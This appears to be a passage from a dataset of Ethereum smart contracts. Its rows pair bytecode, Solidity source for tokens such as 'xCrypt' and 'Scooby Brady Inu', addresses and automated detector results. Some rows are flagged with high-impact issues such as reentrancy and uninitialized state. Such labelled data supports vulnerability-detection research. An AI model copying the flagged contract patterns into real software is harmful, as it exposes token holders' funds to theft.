0ba4866001600160a01b031660009081526002602052604090205490565b90610f99565b1115610c285760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610554565b6014546001600160a01b038581169116148015610c5357506013546001600160a01b03848116911614155b8015610c7857506001600160a01b03831660009081526010602052604090205460ff16155b15610c8a57600854600e55600954600f555b6014546001600160a01b038481169116148015610cb557506013546001600160a01b03858116911614155b15610cc757600a54600e55600b54600f555b601654610100900460ff16158015610ced57506014546001600160a01b03858116911614155b15610d285730600090815260026020526040902054601554811115610d1557610d1581611086565b478015610d2557610d2547611048565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610d6757506001600160a01b03831660009081526004602052604090205460ff165b15610d70575060005b610d7c8484848461110d565b610d8d600c54600e55600d54600f55565b50505050565b60008184841115610db75760405162461bcd60e51b81526004016105549190611483565b506000610dc48486611601565b95945050505050565b6000610e0f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611125565b9392505050565b6016805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5a57610e5a611618565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eae57600080fd5b505afa158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee6919061162e565b81600181518110610ef957610ef9611618565b6001600160a01b039283166020918202929092010152601354610f1f9130911684610881565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f5890859060009086903090429060040161164b565b600060405180830381600087803b158015610f7257600080fd5b505af1158015610f86573d6000803e3d6000fd5b50506016805461ff001916905550505050565b600080610fa683856116bc565b905083811015610e0f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610554565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611082573d6000803e3d6000fd5b5050565b6016805461ff001916610100179055600e54600f546000916110be916110ab91610f99565b600e546110b89085611153565b90610dcd565b905060006110cd826002610dcd565b905060006110db84836111d2565b9050476110e782610e16565b6000611101836110b8866110fb47876111d2565b90611153565b9050610f868482611214565b8061111a5761111a6112d7565b610d7c848484611305565b600081836111465760405162461bcd60e51b81526004016105549190611483565b506000610dc484866116d4565b6000826111625750600061048f565b600061116e83856116f6565b90508261117b85836116d4565b14610e0f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610554565b6000610e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d93565b60135461122c9030906001600160a01b031684610881565b60135460125460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561129757600080fd5b505af11580156112ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112d09190611715565b5050505050565b600f541580156112e75750600e54155b156112ee57565b600f8054600d55600e8054600c5560009182905555565b61132960405180606001604052806000815260200160008152602001600081525090565b61134360646110b8600f548561115390919063ffffffff16565b6020820152600e5461135d906064906110b8908590611153565b808252602082015161137b91906113759085906111d2565b906111d2565b6040808301919091526001600160a01b0385166000908152600260205220546113a490836111d2565b6001600160a01b038086166000908152600260205260408082209390935583830151918616815291909120546113d991610f99565b6001600160a01b0384166000908152600260209081526040909120919091558151908201516114229161140c9190610f99565b3060009081526002602052604090205490610f99565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b818110156114b057858101830151858201604001528201611494565b818111156114c2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461068657600080fd5b6000806040838503121561150057600080fd5b823561150b816114d8565b946020939093013593505050565b60008060006060848603121561152e57600080fd5b8335611539816114d8565b92506020840135611549816114d8565b929592945050506040919091013590565b60006020828403121561156c57600080fd5b5035919050565b60006020828403121561158557600080fd5b8135610e0f816114d8565b600080604083850312156115a357600080fd5b50508035926020909101359150565b600080604083850312156115c557600080fd5b82356115d0816114d8565b915060208301356115e0816114d8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611613576116136115eb565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561164057600080fd5b8151610e0f816114d8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561169b5784516001600160a01b031683529383019391830191600101611676565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116cf576116cf6115eb565b500190565b6000826116f157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611710576117106115eb565b500290565b60008060006060848603121561172a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a2b5b0b2398553d07c51ba434df8f99568788986f468fa57537f5069a8e158e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,747 |
0xb9d6ce05a2cdbc4572bafbef179cd37bdaabe942
|
pragma solidity ^0.4.13;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract InvestorsFeature is Ownable, StandardToken {
using SafeMath for uint;
address[] public investors;
mapping(address => bool) isInvestor;
function deposit(address investor, uint) internal {
if(isInvestor[investor] == false) {
investors.push(investor);
isInvestor[investor] = true;
}
}
function sendp(address addr, uint amount) internal {
require(addr != address(0));
require(amount > 0);
deposit(addr, amount);
// SafeMath.sub will throw if there is not enough balance.
balances[this] = balances[this].sub(amount);
balances[addr] = balances[addr].add(amount);
Transfer(this, addr, amount);
}
}
contract xCrypt is Ownable, StandardToken, InvestorsFeature {
string public constant name = "xCrypt";
string public constant symbol = "XCT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = (200 * (10**6)) * (10 ** uint256(decimals));
uint8 public constant ADVISORS_SHARE = 8;
uint8 public constant TEAM_SHARE = 15;
uint8 public constant RESERVES_SHARE = 9;
uint8 public constant BOUNTIES_SHARE = 3;
address public advisorsWallet;
address public teamWallet;
address public reservesWallet;
address public bountiesWallet;
function xCrypt(
address _advisorsWallet,
address _teamWallet,
address _reservesWallet,
address _bountiesWallet
) public {
totalSupply = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
Transfer(address(0), this, INITIAL_SUPPLY);
// Save addresses for future reference
advisorsWallet = _advisorsWallet;
teamWallet = _teamWallet;
reservesWallet = _reservesWallet;
bountiesWallet = _bountiesWallet;
// Send proportional tokens
sendTokens(_advisorsWallet, totalSupply * ADVISORS_SHARE / 100);
sendTokens(_teamWallet, totalSupply * TEAM_SHARE / 100);
sendTokens(_reservesWallet, totalSupply * RESERVES_SHARE / 100);
sendTokens(_bountiesWallet, totalSupply * BOUNTIES_SHARE / 100);
}
function sendTokens(address addr, uint amount) public onlyOwner {
sendp(addr, amount);
}
function moneyBack(address addr) public onlyOwner {
require(addr != 0x0);
addr.transfer(this.balance);
}
function burnRemainder(uint) public onlyOwner {
uint value = balances[this];
totalSupply = totalSupply.sub(value);
balances[this] = 0;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305943a151461015957806305ab421d1461018857806306fdde03146101ca578063095ea7b31461025857806318160ddd146102b257806323b872dd146102db5780632ff2e9dc14610354578063313ce5671461037d5780633feb5f2b146103ac5780635146690e1461040f578063515765101461046457806359927044146104b95780635bdb280f1461050e578063661884631461053d5780636b252b471461059757806370a08231146105ec5780637e6d86ff146106395780638562e452146106685780638da5cb5b1461069757806395d89b41146106ec578063a19c1f011461077a578063a9059cbb1461079d578063d73dd623146107f7578063dd62ed3e14610851578063e0db874d146108bd578063f2fde38b146108f6575b600080fd5b341561016457600080fd5b61016c61092f565b604051808260ff1660ff16815260200191505060405180910390f35b341561019357600080fd5b6101c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610934565b005b34156101d557600080fd5b6101dd61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021d578082015181840152602081019050610202565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026357600080fd5b610298600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109d6565b604051808215151515815260200191505060405180910390f35b34156102bd57600080fd5b6102c5610ac8565b6040518082815260200191505060405180910390f35b34156102e657600080fd5b61033a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ace565b604051808215151515815260200191505060405180910390f35b341561035f57600080fd5b610367610e8d565b6040518082815260200191505060405180910390f35b341561038857600080fd5b610390610e9e565b604051808260ff1660ff16815260200191505060405180910390f35b34156103b757600080fd5b6103cd6004808035906020019091905050610ea3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041a57600080fd5b610422610ee2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046f57600080fd5b610477610f08565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c457600080fd5b6104cc610f2e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051957600080fd5b610521610f54565b604051808260ff1660ff16815260200191505060405180910390f35b341561054857600080fd5b61057d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f59565b604051808215151515815260200191505060405180910390f35b34156105a257600080fd5b6105aa6111ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105f757600080fd5b610623600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611210565b6040518082815260200191505060405180910390f35b341561064457600080fd5b61064c611259565b604051808260ff1660ff16815260200191505060405180910390f35b341561067357600080fd5b61067b61125e565b604051808260ff1660ff16815260200191505060405180910390f35b34156106a257600080fd5b6106aa611263565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106f757600080fd5b6106ff611288565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073f578082015181840152602081019050610724565b50505050905090810190601f16801561076c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561078557600080fd5b61079b60048080359060200190919050506112c1565b005b34156107a857600080fd5b6107dd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113c4565b604051808215151515815260200191505060405180910390f35b341561080257600080fd5b610837600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115e8565b604051808215151515815260200191505060405180910390f35b341561085c57600080fd5b6108a7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117e4565b6040518082815260200191505060405180910390f35b34156108c857600080fd5b6108f4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061186b565b005b341561090157600080fd5b61092d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611946565b005b600f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098f57600080fd5b6109998282611a9b565b5050565b6040805190810160405280600681526020017f784372797074000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b0b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b5957600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610be457600080fd5b610c3682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ccb82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d9d82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a630bebc2000281565b601281565b600481815481101515610eb257fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600981565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561106a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110fe565b61107d8382611c8390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600381565b600881565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f584354000000000000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131e57600080fd5b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061137581600154611c8390919063ffffffff16565b6001819055506000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561140157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561144f57600080fd5b6114a182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061167982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156118ec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561194357600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119a157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119dd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611ad757600080fd5b600081111515611ae657600080fd5b611af08282611cba565b611b4281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515611c9157fe5b818303905092915050565b6000808284019050838110151515611cb057fe5b8091505092915050565b60001515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611dcf5760048054806001018281611d279190611dd3565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b815481835581811511611dfa57818360005260206000209182019101611df99190611dff565b5b505050565b611e2191905b80821115611e1d576000816000905550600101611e05565b5090565b905600a165627a7a72305820cc81943fb935a78e52cbee45bfcd642aad6ee7cccaf607f151d1b2f7401fa4240029
|
{"success": true, "error": null, "results": {}}
| 5,748 |
0x082d491a7a19bca44ca18b9470dd430aa6156ada
|
/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
/**
🏈 Scooby Brady Inu
🏈 TG: https://t.me/ScoobyBradyInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
